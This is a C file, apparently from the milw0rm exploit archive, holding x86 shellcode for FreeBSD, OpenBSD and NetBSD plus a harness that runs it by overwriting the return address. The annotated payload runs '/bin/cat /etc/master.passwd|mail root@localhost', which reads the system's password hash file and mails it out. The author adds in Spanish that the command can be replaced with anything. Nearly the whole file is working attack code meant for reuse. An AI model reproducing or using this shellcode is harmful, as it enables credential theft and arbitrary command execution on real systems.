47 lines
No EOL
1.9 KiB
C
47 lines
No EOL
1.9 KiB
C
/*
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*BSD version
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FreeBSD, OpenBSD, NetBSD.
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s0t4ipv6@shellcode.com.ar
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92 bytes.
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_execve(/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost");
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pueden reemplzar el comando por lo que se les ocurra.
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*/
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char shellcode[]=
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"\xeb\x25" /* jmp <shellcode+39> */
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"\x59" /* popl %ecx */
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
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"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
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"\x89\xe3" /* movl %esp,%ebx */
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"\x50" /* pushl %eax */
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"\x66\x68\x2d\x63" /* pushw $0x632d */
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"\x89\xe7" /* movl %esp,%edi */
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"\x50" /* pushl %eax */
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"\x51" /* pushl %ecx */
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"\x57" /* pushl %edi */
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"\x53" /* pushl %ebx */
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"\x89\xe7" /* movl %esp,%edi */
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"\x50" /* pushl %eax */
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"\x57" /* pushl %edi */
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"\x53" /* pushl %ebx */
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"\x50" /* pushl %eax */
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"\xb0\x3b" /* movb $0x0b,%al */
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"\xcd\x80" /* int $0x80 */
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"\xe8\xd6\xff\xff\xff" /* call <shellcode+2> */
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"/bin/cat /etc/master.passwd|mail root@localhost";
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main()
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{
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int *ret;
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printf("Shellcode lenght=%d\n",sizeof(shellcode));
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ret=(int*)&ret+2;
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(*ret)=(int)shellcode;
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}
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// milw0rm.com [2004-09-26]
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